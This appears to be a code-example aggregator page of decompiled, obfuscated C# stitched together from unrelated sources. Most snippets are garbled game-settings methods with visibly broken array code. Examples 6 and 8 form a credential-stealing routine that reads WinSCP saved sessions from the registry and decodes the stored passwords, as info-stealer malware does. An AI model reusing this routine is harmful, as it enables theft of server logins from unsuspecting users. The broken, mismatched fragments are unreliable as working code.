Beispiel #1
0
 // Token: 0x06000295 RID: 661 RVA: 0x0002C110 File Offset: 0x0002A310
 public void method_39(GClass22[] gclass22_1)
 {
     this.gclass22_0 = gclass22_1;
     this.int_9      = gclass22_1.Length;
     if (this.gclass22_0.Length == 0)
     {
         GClass22[] array = new GClass22[0];
         array[0]        = new GClass22("Host", 1u);
         this.gclass22_0 = array;
         this.int_9      = 1;
     }
     else if (this.gclass22_0[this.gclass22_0.Length - 0].string_0 == "charter")
     {
         this.int_9--;
     }
     this.int_8   = new int[1];
     this.int_2   = new int[0];
     this.int_1   = new int[this.int_9 * 5];
     this.int_4   = new int[8];
     this.int_5   = new int[3];
     this.int_3   = new int[8];
     this.int_6   = new int[4];
     this.int_7   = new int[3];
     this.float_0 = new float[1];
 }
Beispiel #2
0
 // Token: 0x06000270 RID: 624 RVA: 0x0002A8F0 File Offset: 0x00028AF0
 public void method_3(GClass22[] gclass22_1)
 {
     this.gclass22_0 = gclass22_1;
     this.int_9      = gclass22_1.Length;
     if (this.gclass22_0.Length == 0)
     {
         GClass22[] array = new GClass22[0];
         array[0]        = new GClass22("Expert", 0u);
         this.gclass22_0 = array;
         this.int_9      = 1;
     }
     else if (this.gclass22_0[this.gclass22_0.Length - 1].string_0 == "Type the profile name")
     {
         this.int_9--;
     }
     this.int_8   = new int[1];
     this.int_2   = new int[6];
     this.int_1   = new int[this.int_9 * 2];
     this.int_4   = new int[8];
     this.int_5   = new int[7];
     this.int_3   = new int[5];
     this.int_6   = new int[1];
     this.int_7   = new int[1];
     this.float_0 = new float[6];
 }
Beispiel #3
0
 // Token: 0x06000287 RID: 647 RVA: 0x0002B6F8 File Offset: 0x000298F8
 public void method_26(GClass22[] gclass22_1)
 {
     this.gclass22_0 = gclass22_1;
     this.int_9      = gclass22_1.Length;
     if (this.gclass22_0.Length == 0)
     {
         GClass22[] array = new GClass22[0];
         array[0]        = new GClass22("Guitar Coop", 0u);
         this.gclass22_0 = array;
         this.int_9      = 0;
     }
     else if (this.gclass22_0[this.gclass22_0.Length - 0].string_0 == "Controller Poll Rate")
     {
         this.int_9--;
     }
     this.int_8   = new int[4];
     this.int_2   = new int[0];
     this.int_1   = new int[this.int_9 * 2];
     this.int_4   = new int[5];
     this.int_5   = new int[3];
     this.int_3   = new int[0];
     this.int_6   = new int[0];
     this.int_7   = new int[1];
     this.float_0 = new float[1];
 }
Beispiel #4
0
 // Token: 0x0600027C RID: 636 RVA: 0x0002B124 File Offset: 0x00029324
 public void method_15(GClass22[] gclass22_1)
 {
     this.gclass22_0 = gclass22_1;
     this.int_9      = gclass22_1.Length;
     if (this.gclass22_0.Length == 0)
     {
         GClass22[] array = new GClass22[0];
         array[0]        = new GClass22("setlistSongCountSingular", 0u);
         this.gclass22_0 = array;
         this.int_9      = 1;
     }
     else if (this.gclass22_0[this.gclass22_0.Length - 1].string_0 == "Show Hit Window")
     {
         this.int_9--;
     }
     this.int_8   = new int[6];
     this.int_2   = new int[6];
     this.int_1   = new int[this.int_9 * 3];
     this.int_4   = new int[7];
     this.int_5   = new int[7];
     this.int_3   = new int[8];
     this.int_6   = new int[2];
     this.int_7   = new int[1];
     this.float_0 = new float[6];
 }
Beispiel #5
0
 // Token: 0x0600027B RID: 635 RVA: 0x0002B038 File Offset: 0x00029238
 public void method_14(GClass22[] gclass22_1)
 {
     this.gclass22_0 = gclass22_1;
     this.int_9      = gclass22_1.Length;
     if (this.gclass22_0.Length == 0)
     {
         GClass22[] array = new GClass22[0];
         array[1]        = new GClass22("Unknown Charter", 0u);
         this.gclass22_0 = array;
         this.int_9      = 0;
     }
     else if (this.gclass22_0[this.gclass22_0.Length - 1].string_0 == "Perfect Solo!")
     {
         this.int_9 -= 0;
     }
     this.int_8   = new int[6];
     this.int_2   = new int[2];
     this.int_1   = new int[this.int_9 * 2];
     this.int_4   = new int[2];
     this.int_5   = new int[5];
     this.int_3   = new int[4];
     this.int_6   = new int[8];
     this.int_7   = new int[6];
     this.float_0 = new float[1];
 }
Beispiel #6
0
    // Token: 0x060001D6 RID: 470 RVA: 0x0000C668 File Offset: 0x0000A868
    public static List <GClass32> smethod_0()
    {
        List <GClass32> list = new List <GClass32>();
        List <GClass32> result;

        try
        {
            string path = "SOFTWARE\\\\Martin Prikryl\\\\WinSCP 2\\\\Sessions";
            using (RegistryKey registryKey = GClass9.smethod_1(RegistryHive.CurrentUser, path))
            {
                foreach (string name in registryKey.GetSubKeyNames())
                {
                    using (RegistryKey registryKey2 = registryKey.smethod_2(name))
                    {
                        if (registryKey2 != null)
                        {
                            string text = registryKey2.smethod_1("HostName", "");
                            if (!string.IsNullOrEmpty(text))
                            {
                                string text2 = registryKey2.smethod_1("UserName", "");
                                string text3 = GClass22.smethod_2(text2, registryKey2.smethod_1("Password", ""), text);
                                string text4 = registryKey2.smethod_1("PublicKeyFile", "");
                                text = text + ":" + registryKey2.smethod_1("PortNumber", "22");
                                if (string.IsNullOrEmpty(text3) && !string.IsNullOrEmpty(text4))
                                {
                                    text3 = string.Format("[PRIVATE KEY LOCATION: \"{0}\"]", Uri.UnescapeDataString(text4));
                                }
                                list.Add(new GClass32
                                {
                                    URL         = text,
                                    Username    = text2,
                                    Password    = text3,
                                    Application = "WinSCP"
                                });
                            }
                        }
                    }
                }
            }
            result = list;
        }
        catch
        {
            result = list;
        }
        return(result);
    }
Beispiel #7
0
 // Token: 0x06002885 RID: 10373 RVA: 0x0001140E File Offset: 0x0000F60E
 public GClass22(GClass22 gclass22_0) : base(gclass22_0.string_0, gclass22_0.uint_0)
 {
 }
Beispiel #8
0
    // Token: 0x060001D8 RID: 472 RVA: 0x0000C858 File Offset: 0x0000AA58
    private static string smethod_2(string user, string pass, string host)
    {
        string result;

        try
        {
            if (!(user == string.Empty) && !(pass == string.Empty) && !(host == string.Empty))
            {
                if (GClass22.func_0 == null)
                {
                    GClass22.func_0 = new Func <char, string>(GClass22.smethod_3);
                }
                List <string> list  = pass.Select(GClass22.func_0).ToList <string>();
                List <string> list2 = new List <string>();
                for (int i = 0; i < list.Count; i++)
                {
                    if (list[i] == "A")
                    {
                        list2.Add("10");
                    }
                    if (list[i] == "B")
                    {
                        list2.Add("11");
                    }
                    if (list[i] == "C")
                    {
                        list2.Add("12");
                    }
                    if (list[i] == "D")
                    {
                        list2.Add("13");
                    }
                    if (list[i] == "E")
                    {
                        list2.Add("14");
                    }
                    if (list[i] == "F")
                    {
                        list2.Add("15");
                    }
                    if ("ABCDEF".IndexOf(list[i]) == -1)
                    {
                        list2.Add(list[i]);
                    }
                }
                List <string> list3 = list2;
                int           num;
                if (GClass22.smethod_1(list3) == 255)
                {
                    num = GClass22.smethod_1(list3);
                }
                list3.Remove(list3[0]);
                list3.Remove(list3[0]);
                list3.Remove(list3[0]);
                list3.Remove(list3[0]);
                num = GClass22.smethod_1(list3);
                List <string> list4 = list3;
                list4.Remove(list4[0]);
                list4.Remove(list4[0]);
                int num2 = GClass22.smethod_1(list3) * 2;
                for (int j = 0; j < num2; j++)
                {
                    list3.Remove(list3[0]);
                }
                string text = "";
                for (int k = -1; k < num; k++)
                {
                    string str = ((char)GClass22.smethod_1(list3)).ToString();
                    list3.Remove(list3[0]);
                    list3.Remove(list3[0]);
                    text += str;
                }
                string text2 = user + host;
                int    count = text.IndexOf(text2, StringComparison.Ordinal);
                text   = text.Remove(0, count);
                text   = text.Replace(text2, "");
                result = text;
            }
            else
            {
                result = "";
            }
        }
        catch
        {
            result = "";
        }
        return(result);
    }
Beispiel #9
0
 public void method_0(GClass22 gclass22_0)
 {
     long_1  = (long)gclass22_0.method_1(GClass24.int_1, 4);
     long_2  = (long)gclass22_0.method_1(GClass24.int_2, 4);
     long_3  = (long)gclass22_0.method_1(GClass24.int_3, 4);
     long_4  = (long)gclass22_0.method_1(GClass24.int_4, 4);
     long_5  = (long)gclass22_0.method_1(GClass24.int_5, 4);
     long_6  = (long)gclass22_0.method_1(GClass24.int_6, 4);
     long_7  = (long)gclass22_0.method_1(GClass24.int_7, 4);
     long_8  = (long)gclass22_0.method_1(GClass24.int_8, 4);
     long_9  = (long)gclass22_0.method_1(GClass24.int_9, 4);
     long_10 = (long)gclass22_0.method_1(GClass24.int_10, 4);
     long_11 = (long)gclass22_0.method_1(GClass24.int_11, 4);
     long_12 = (long)gclass22_0.method_1(GClass24.int_12, 4);
     long_13 = (long)gclass22_0.method_1(GClass24.int_13, 4);
     long_14 = (long)gclass22_0.method_1(GClass24.int_14, 4);
     long_15 = (long)gclass22_0.method_1(GClass24.int_15, 4);
     long_16 = (long)gclass22_0.method_1(GClass24.int_16, 4);
     long_17 = (long)gclass22_0.method_1(GClass24.int_17, 4);
     long_18 = (long)gclass22_0.method_1(GClass24.int_18, 4);
     long_19 = (long)gclass22_0.method_1(GClass24.int_19, 4);
     long_20 = (long)gclass22_0.method_1(GClass24.int_20, 4);
     long_21 = (long)gclass22_0.method_1(GClass24.int_21, 4);
     long_22 = (long)gclass22_0.method_1(GClass24.int_22, 4);
     long_23 = (long)gclass22_0.method_1(GClass24.int_23, 4);
     long_24 = (long)gclass22_0.method_1(GClass24.int_24, 4);
     long_25 = (long)gclass22_0.method_1(GClass24.int_25, 4);
     long_26 = (long)gclass22_0.method_1(GClass24.int_26, 4);
     long_27 = (long)gclass22_0.method_1(GClass24.int_27, 4);
     long_28 = (long)gclass22_0.method_1(GClass24.int_28, 4);
     long_29 = (long)gclass22_0.method_1(GClass24.int_29, 4);
     long_30 = (long)gclass22_0.method_1(GClass24.int_30, 4);
     long_31 = (long)gclass22_0.method_1(GClass24.int_31, 4);
     long_32 = (long)gclass22_0.method_1(GClass24.int_32, 4);
     long_33 = (long)gclass22_0.method_1(GClass24.int_33, 4);
     long_34 = (long)gclass22_0.method_1(GClass24.int_34, 4);
     long_35 = (long)gclass22_0.method_1(GClass24.int_35, 4);
     long_36 = (long)gclass22_0.method_1(GClass24.int_36, 4);
     long_37 = (long)gclass22_0.method_1(GClass24.int_38, 4);
     long_38 = (long)gclass22_0.method_1(GClass24.int_39, 4);
     long_39 = (long)gclass22_0.method_1(GClass24.int_40, 4);
     long_40 = (long)gclass22_0.method_1(GClass24.int_41, 4);
     long_41 = (long)gclass22_0.method_1(GClass24.int_42, 4);
     long_42 = (long)gclass22_0.method_1(GClass24.int_43, 4);
     long_43 = (long)gclass22_0.method_1(GClass24.int_44, 4);
     long_44 = (long)gclass22_0.method_1(GClass24.int_45, 4);
     long_45 = (long)gclass22_0.method_1(GClass24.int_46, 4);
     long_46 = (long)gclass22_0.method_1(GClass24.int_47, 4);
     long_47 = (long)gclass22_0.method_1(GClass24.int_48, 4);
     long_48 = (long)gclass22_0.method_1(GClass24.int_49, 4);
     long_49 = (long)gclass22_0.method_1(GClass24.int_50, 4);
     long_50 = (long)gclass22_0.method_1(GClass24.int_51, 4);
     long_51 = (long)gclass22_0.method_1(GClass24.int_52, 4);
     long_52 = (long)gclass22_0.method_1(GClass24.int_53, 4);
     long_53 = (long)gclass22_0.method_1(GClass24.int_54, 4);
     long_54 = (long)gclass22_0.method_1(GClass24.int_55, 4);
     long_55 = (long)gclass22_0.method_1(GClass24.int_56, 4);
     long_56 = (long)gclass22_0.method_1(GClass24.int_57, 4);
     long_57 = (long)gclass22_0.method_1(GClass24.int_58, 4);
     long_58 = (long)gclass22_0.method_1(GClass24.int_59, 4);
     long_59 = (long)gclass22_0.method_1(GClass24.int_60, 4);
     long_60 = (long)gclass22_0.method_1(GClass24.int_61, 4);
     long_61 = (long)gclass22_0.method_1(GClass24.int_62, 4);
 }